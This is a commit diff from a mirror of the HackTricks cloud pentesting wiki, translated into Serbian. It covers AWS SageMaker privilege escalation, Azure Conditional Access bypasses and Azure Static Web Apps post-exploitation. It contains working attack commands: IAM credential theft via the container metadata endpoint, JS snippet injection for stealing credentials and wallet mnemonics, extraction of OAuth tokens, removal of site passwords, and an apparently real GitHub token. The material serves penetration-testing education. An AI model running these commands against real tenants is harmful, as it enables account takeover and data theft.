mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
BIN
src/images/azure_static_password.png
Normal file
BIN
src/images/azure_static_password.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 14 KiB |
@@ -25,7 +25,7 @@ Sada je moguće pristupiti metapodacima kredencijala IAM Role.
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
Ako su Jupyter **notebook-ovi već pokrenuti** na njemu i možete ih nabrojati sa `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način). Možete **generisati URL za njih, pristupiti im i ukrasti kredencijale kao što je navedeno u prethodnoj tehnici**.
|
||||
Ako su Jupyter **notebook-i već pokrenuti** na njemu i možete ih nabrojati sa `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način). Možete **generisati URL za njih, pristupiti im i ukrasti kredencijale kao što je navedeno u prethodnoj tehnici**.
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
||||
```
|
||||
@@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
|
||||
|
||||
### `sagemaker:CreateProcessingJob,iam:PassRole`
|
||||
|
||||
Napadač sa tim dozvolama može naterati **sagemaker da izvrši processingjob** sa sagemaker ulogom koja je povezana. Napadač može odrediti definiciju kontejnera koji će biti pokrenut u **AWS upravljanom ECS nalogu**, i **ukrasti kredencijale povezane IAM uloge**.
|
||||
Napadač sa tim dozvolama može naterati **sagemaker da izvrši processingjob** sa sagemaker ulogom povezanu. Napadač može odrediti definiciju kontejnera koji će biti pokrenut u **AWS upravljanom ECS nalogu**, i **ukrasti kredencijale povezane IAM uloge**.
|
||||
```bash
|
||||
# I uploaded a python docker image to the ECR
|
||||
aws sagemaker create-processing-job \
|
||||
@@ -45,14 +45,14 @@ aws sagemaker create-processing-job \
|
||||
# In my tests it took 10min to receive the shell
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
|
||||
```
|
||||
**Potencijalni Uticaj:** Privesc na sagemaker servisnu ulogu koja je navedena.
|
||||
**Potencijalni uticaj:** Privesc na sagemaker servisnu ulogu koja je navedena.
|
||||
|
||||
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
||||
|
||||
Napadač sa tim dozvolama će moći da kreira trening posao, **pokrećući proizvoljni kontejner** na njemu sa **priključenom ulogom**. Stoga, napadač će moći da ukrade kredencijale te uloge.
|
||||
|
||||
> [!WARNING]
|
||||
> Ovaj scenario je teže iskoristiti nego prethodni jer morate generisati Docker sliku koja će slati rev shell ili kredencijale direktno napadaču (ne možete navesti početnu komandu u konfiguraciji trening posla).
|
||||
> Ovaj scenario je teže iskoristiti nego prethodni jer morate da generišete Docker sliku koja će slati rev shell ili kredencijale direktno napadaču (ne možete da navedete početnu komandu u konfiguraciji trening posla).
|
||||
>
|
||||
> ```bash
|
||||
> # Kreirajte docker sliku
|
||||
@@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
Napadač sa tim dozvolama će (potencijalno) moći da kreira **hyperparameter training job**, **pokreće proizvoljan kontejner** na njemu sa **priključenom ulogom**.\
|
||||
&#xNAN;_I nisam iskoristio zbog nedostatka vremena, ali izgleda slično prethodnim eksploatacijama, slobodno pošaljite PR sa detaljima eksploatacije._
|
||||
_Nisam iskoristio zbog nedostatka vremena, ali izgleda slično prethodnim eksploatacijama, slobodno pošaljite PR sa detaljima eksploatacije._
|
||||
|
||||
## Reference
|
||||
|
||||
|
||||
@@ -0,0 +1,162 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
Za više informacija o ovoj usluzi proverite:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Moguće je napraviti statičku web stranicu koja učitava proizvoljni HTML kod kreiranjem snippeta. Ovo bi moglo omogućiti napadaču da injektuje JS kod unutar web aplikacije i ukrade osetljive informacije kao što su akreditivi ili mnemoničke ključeve (u web3 novčanicima).
|
||||
|
||||
Sledeća komanda kreira snippet koji će uvek biti učitan od strane web aplikacije::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Pročitajte Konfigurisane Treće Strane Akreditive
|
||||
|
||||
Kao što je objašnjeno u sekciji App Service:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Pokretanjem sledeće komande moguće je **pročitati akreditive treće strane** konfigurisane u trenutnom nalogu. Imajte na umu da, na primer, ako su neki Github akreditive konfigurisani na drugom korisniku, nećete moći da pristupite tokenu iz drugog.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Ova komanda vraća tokene za Github, Bitbucket, Dropbox i OneDrive.
|
||||
|
||||
Evo nekoliko primera komandi za proveru tokena:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Prepisivanje fajla - Prepisivanje ruta, HTML, JS...
|
||||
|
||||
Moguće je **prepisati fajl unutar Github repozitorijuma** koji sadrži aplikaciju putem Azure-a, imajući **Github token** i šaljući zahtev kao što je sledeći, koji će označiti putanju fajla za prepisivanje, sadržaj fajla i poruku o komitu.
|
||||
|
||||
Ovo se može zloupotrebiti od strane napadača da suštinski **promene sadržaj web aplikacije** kako bi služili malicioznom sadržaju (ukrasti akreditive, mnemoničke ključeve...) ili samo da **preusmere određene putanje** na svoje servere prepisivanjem `staticwebapp.config.json` fajla.
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da ako napadač uspe da kompromituje Github repozitorijum na bilo koji način, takođe može direktno prepisati fajl sa Github-a.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Sa ovom dozvolom, moguće je **izmeniti lozinku** koja štiti statičku web aplikaciju ili čak ukloniti zaštitu sa svake okoline slanjem zahteva kao što je sledeći:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Ova dozvola omogućava dobijanje **API ključa za token za implementaciju** za statičku aplikaciju.
|
||||
|
||||
Ovaj token omogućava implementaciju aplikacije.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Zatim, da biste ažurirali aplikaciju, možete pokrenuti sledeću komandu. Imajte na umu da je ova komanda izvučena proverom **kako Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funkcioniše**, jer je to ono što je Azure postavio kao podrazumevano za korišćenje. Tako da se slika i parametri mogu promeniti u budućnosti.
|
||||
|
||||
1. Preuzmite repozitorijum [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ili bilo koji drugi repozitorijum koji želite da implementirate) i pokrenite `cd react-basic`.
|
||||
2. Promenite kod koji želite da implementirate
|
||||
3. Implementirajte ga pokretanjem (Zapamtite da promenite `<api-token>`):
|
||||
```bash
|
||||
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Sa ovom dozvolom je moguće **promeniti izvor statičke web aplikacije na drugi Github repozitorijum**, međutim, neće biti automatski obezbeđen jer to obično mora da se uradi iz Github akcije sa tokenom koji je autorizovao akciju, pošto se ovaj token ne ažurira automatski unutar Github tajni repozitorijuma (samo se automatski dodaje kada se aplikacija kreira).
|
||||
```bash
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Sa ovom dozvolom je moguće **resetovati API ključ statičke web aplikacije** potencijalno DoS-ujući radne tokove koji automatski implementiraju aplikaciju.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Azure politike uslovnog pristupa su pravila postavljena u Microsoft Azure-u za sprovođenje kontrola pristupa uslugama i aplikacijama Azure-a na osnovu određenih **uslova**. Ove politike pomažu organizacijama da obezbede svoje resurse primenom pravih kontrola pristupa pod pravim okolnostima.\
|
||||
Azure politike uslovnog pristupa su pravila postavljena u Microsoft Azure-u za sprovođenje kontrola pristupa uslugama i aplikacijama Azure na osnovu određenih **uslova**. Ove politike pomažu organizacijama da obezbede svoje resurse primenom pravih kontrola pristupa pod pravim okolnostima.\
|
||||
Politike uslovnog pristupa u osnovi **definišu** **Ko** može pristupiti **Čemu** iz **Gde** i **Kako**.
|
||||
|
||||
Evo nekoliko primera:
|
||||
|
||||
1. **Politika rizika prijavljivanja**: Ova politika može biti postavljena da zahteva višefaktorsku autentifikaciju (MFA) kada se otkrije rizik prijavljivanja. Na primer, ako je ponašanje korisnika prilikom prijavljivanja neobično u poređenju sa njihovim redovnim obrascem, kao što je prijavljivanje iz druge zemlje, sistem može zatražiti dodatnu autentifikaciju.
|
||||
2. **Politika usklađenosti uređaja**: Ova politika može ograničiti pristup uslugama Azure-a samo na uređaje koji su usklađeni sa bezbednosnim standardima organizacije. Na primer, pristup može biti dozvoljen samo sa uređaja koji imaju ažuriran antivirusni softver ili koji koriste određenu verziju operativnog sistema.
|
||||
2. **Politika usklađenosti uređaja**: Ova politika može ograničiti pristup uslugama Azure samo na uređaje koji su usklađeni sa bezbednosnim standardima organizacije. Na primer, pristup može biti dozvoljen samo sa uređaja koji imaju ažurirani antivirusni softver ili koji koriste određenu verziju operativnog sistema.
|
||||
|
||||
## Zaobilaženje politika uslovnog pristupa
|
||||
|
||||
@@ -24,31 +24,31 @@ Takođe je potrebno konfigurisati **uslove** koji će **pokrenuti** politiku:
|
||||
- Može se zaobići korišćenjem VPN-a ili Proxy-a za povezivanje sa zemljom ili uspešnim prijavljivanjem sa dozvoljene IP adrese
|
||||
- **Microsoft rizici**: Rizik korisnika, Rizik prijavljivanja, Rizik unutrašnjeg korisnika
|
||||
- **Platforme uređaja**: Bilo koji uređaj ili odabrati Android, iOS, Windows telefon, Windows, macOS, Linux
|
||||
- Ako “Bilo koji uređaj” nije odabran, ali su sve druge opcije odabrane, moguće je zaobići to koristeći nasumični user-agent koji nije povezan sa tim platformama
|
||||
- Ako “Bilo koji uređaj” nije odabran, ali su sve druge opcije odabrane, moguće je zaobići to korišćenjem nasumičnog user-agent-a koji nije povezan sa tim platformama
|
||||
- **Klijentske aplikacije**: Opcije su “Pregledač”, “Mobilne aplikacije i desktop klijenti”, “Exchange ActiveSync klijenti” i “Ostali klijenti”
|
||||
- Da bi se zaobišao prijavljivanje sa neodabranom opcijom
|
||||
- **Filter za uređaje**: Moguće je generisati pravilo vezano za korišćeni uređaj
|
||||
- **Tokovi autentifikacije**: Opcije su “Tok uređaja” i “Prenos autentifikacije”
|
||||
- Ovo neće uticati na napadača osim ako ne pokušava da zloupotrebi neki od tih protokola u pokušaju phishing-a da pristupi nalogu žrtve
|
||||
|
||||
Mogući **rezultati** su: Blokirati ili Dodeliti pristup uz potencijalne uslove kao što su zahtev za MFA, uređaj da bude usklađen…
|
||||
Mogući **rezultati** su: Blokirati ili Dodeliti pristup uz potencijalne uslove kao što su zahtevati MFA, uređaj da bude usklađen…
|
||||
|
||||
### Platforme uređaja - Uslov uređaja
|
||||
|
||||
Moguće je postaviti uslov zasnovan na **platformi uređaja** (Android, iOS, Windows, macOS...), međutim, ovo se zasniva na **user-agent-u** tako da je lako zaobići. Čak i **ako se sve opcije primenjuju za MFA**, ako koristite **user-agent koji nije prepoznat**, moći ćete da zaobiđete MFA ili blokadu:
|
||||
Moguće je postaviti uslov zasnovan na **platformi uređaja** (Android, iOS, Windows, macOS...), međutim, ovo se zasniva na **user-agent-u** tako da je lako zaobići. Čak i **ako se sve opcije primenjuju MFA**, ako koristite **user-agent koji nije prepoznat**, moći ćete da zaobiđete MFA ili blokadu:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Samo slanjem nepoznatog user-agent-a (kao što je `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) dovoljno je da ne pokrene ovaj uslov.\
|
||||
Možete promeniti user-agent **ručno** u alatima za razvoj:
|
||||
Možete ručno promeniti user-agent u razvojnim alatima:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 Ili koristiti [proširenje za pregledač poput ovog](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
Ili koristiti [proširenje za pregledač poput ovog](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Lokacije: Zemlje, IP opsezi - Uslov uređaja
|
||||
|
||||
Ako je ovo postavljeno u uslovnoj politici, napadač bi mogao samo da koristi **VPN** u **dozvoljenoj zemlji** ili pokušati da pronađe način da pristupi sa **dozvoljene IP adrese** da bi zaobišao ove uslove.
|
||||
Ako je ovo postavljeno u uslovnoj politici, napadač bi mogao samo da koristi **VPN** u **dozvoljenoj zemlji** ili pokušati da pronađe način da pristupi sa **dozvoljene IP adrese** kako bi zaobišao ove uslove.
|
||||
|
||||
### Cloud aplikacije
|
||||
|
||||
@@ -57,7 +57,7 @@ Moguće je konfigurisati **politike uslovnog pristupa da blokiraju ili primoraju
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Da biste pokušali da zaobiđete ovu zaštitu, trebali biste videti da li možete **prijaviti se u bilo koju aplikaciju**.\
|
||||
Alat [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ima **desetine ID-eva aplikacija hardkodiranih** i pokušaće da se prijavi u njih i obavestiće vas, pa čak i dati token ako bude uspešan.
|
||||
Alat [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) ima **desetine ID-eva aplikacija hardkodiranih** i pokušaće da se prijavi u njih i obavestiće vas i čak dati token ako bude uspešan.
|
||||
|
||||
Da biste **testirali specifične ID-eve aplikacija u specifičnim resursima**, takođe možete koristiti alat kao što je:
|
||||
```bash
|
||||
@@ -94,7 +94,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
<token returned>
|
||||
```
|
||||
Pronađite više informacija o ovoj vrsti napada na sledećoj stranici:
|
||||
Nađite više informacija o ovoj vrsti napada na sledećoj stranici:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
@@ -104,9 +104,9 @@ Pronađite više informacija o ovoj vrsti napada na sledećoj stranici:
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
Ovaj skript uzima neke korisničke akreditive i proverava da li može da se prijavi u neke aplikacije.
|
||||
Ovaj skript uzima neke korisničke akreditive i proverava da li može da se prijavi na neke aplikacije.
|
||||
|
||||
Ovo je korisno da se vidi da li **niste obavezni da koristite MFA za prijavu u neke aplikacije** koje kasnije možete zloupotrebiti da **povećate privilegije**.
|
||||
Ovo je korisno da se vidi da li **niste obavezni da koristite MFA za prijavu na neke aplikacije** koje kasnije možete zloupotrebiti da **povećate privilegije**.
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
@@ -123,7 +123,7 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
Ovaj alat je pomogao u identifikaciji zaobilaženja MFA i zatim u zloupotrebi API-ja u više produkcionih AAD tenanata, gde su AAD korisnici verovali da imaju primenjen MFA, ali je ROPC zasnovana autentifikacija uspela.
|
||||
Ovaj alat je pomogao u identifikaciji MFA zaobilaženja i zatim zloupotrebi API-ja u više produkcionih AAD tenanata, gde su AAD korisnici verovali da imaju MFA primenjen, ali je ROPC zasnovana autentifikacija uspela.
|
||||
|
||||
> [!TIP]
|
||||
> Potrebno je imati dozvole da biste mogli da navedete sve aplikacije kako biste mogli da generišete listu aplikacija za brute-force.
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
# Az - Static Web Apps
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije o statičkim web aplikacijama
|
||||
|
||||
Azure Static Web Apps je cloud usluga za hostovanje **statičkih web aplikacija sa automatskim CI/CD iz repozitorijuma kao što je GitHub**. Pruža globalnu isporuku sadržaja, serverless backend-e i ugrađeni HTTPS, čineći ga sigurnim i skalabilnim. Međutim, rizici uključuju pogrešno konfigurisane CORS, nedovoljnu autentifikaciju i manipulaciju sadržajem, što može izložiti aplikacije napadima poput XSS i curenja podataka ako se ne upravlja pravilno.
|
||||
|
||||
> [!TIP]
|
||||
> Kada se kreira statička aplikacija, možete odabrati **politiku autorizacije za implementaciju** između **tokena za implementaciju** i **GitHub Actions radnog toka**.
|
||||
|
||||
|
||||
### Autentifikacija web aplikacije
|
||||
|
||||
Moguće je **konfigurisati lozinku** za pristup web aplikaciji. Web konzola omogućava da se ona konfiguriše da štiti samo staging okruženja ili i staging i produkcijsko.
|
||||
|
||||
Ovako izgleda web aplikacija zaštićena lozinkom u trenutku pisanja:
|
||||
|
||||
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
Moguće je videti **da li se koristi neka lozinka** i koja okruženja su zaštićena sa:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
|
||||
```
|
||||
Međutim, ovo **neće prikazati lozinku u čistom tekstu**, već nešto poput: `"password": "**********************"`.
|
||||
|
||||
### Rute
|
||||
|
||||
Rute definišu **kako se obrađuju dolazni HTTP zahtevi** unutar statičke web aplikacije. Konfigurisane u **`staticwebapp.config.json`** datoteci, kontrolišu preusmeravanje URL-a, preusmeravanja, ograničenja pristupa i autorizaciju zasnovanu na rolama, osiguravajući pravilno rukovanje resursima i bezbednost.
|
||||
|
||||
Neki primeri:
|
||||
```json
|
||||
{
|
||||
"routes": [
|
||||
{
|
||||
"route": "/",
|
||||
"rewrite": "/index.html"
|
||||
},
|
||||
{
|
||||
"route": "/about",
|
||||
"rewrite": "/about.html"
|
||||
},
|
||||
{
|
||||
"route": "/api/*",
|
||||
"allowedRoles": ["authenticated"]
|
||||
},
|
||||
{
|
||||
"route": "/admin",
|
||||
"redirect": "/login",
|
||||
"statusCode": 302
|
||||
}
|
||||
],
|
||||
"navigationFallback": {
|
||||
"rewrite": "/index.html",
|
||||
"exclude": ["/api/*", "/assets/*"]
|
||||
}
|
||||
}
|
||||
```
|
||||
## Enumeracija
|
||||
```bash
|
||||
# List Static Webapps
|
||||
az staticwebapp list --output table
|
||||
|
||||
# Get Static Webapp details
|
||||
az staticwebapp show --name <name> --resource-group <res-group> --output table
|
||||
|
||||
# Get appsettings
|
||||
az staticwebapp appsettings list --name <name>
|
||||
|
||||
# Get env information
|
||||
az staticwebapp environment list --name <name>
|
||||
az staticwebapp environment functions --name <name>
|
||||
|
||||
# Get API key
|
||||
az staticwebapp secrets list --name <name>
|
||||
|
||||
# Get invited users
|
||||
az staticwebapp users list --name <name>
|
||||
|
||||
# Get database connections
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
|
||||
|
||||
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
|
||||
```
|
||||
## Primeri za generisanje veb aplikacija
|
||||
|
||||
Možete pronaći lep primer za generisanje veb aplikacije na sledećem linku: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. Forkujte repozitorijum https://github.com/staticwebdev/react-basic/generate na vaš GitHub nalog i nazovite ga `my-first-static-web-app`
|
||||
2. U Azure portalu kreirajte Static Web App konfigurišući pristup GitHub-u i birajući prethodno forkovani novi repozitorijum
|
||||
3. Kreirajte ga, sačekajte nekoliko minuta i proverite vašu novu stranicu!
|
||||
|
||||
## Post Eksploatacija
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user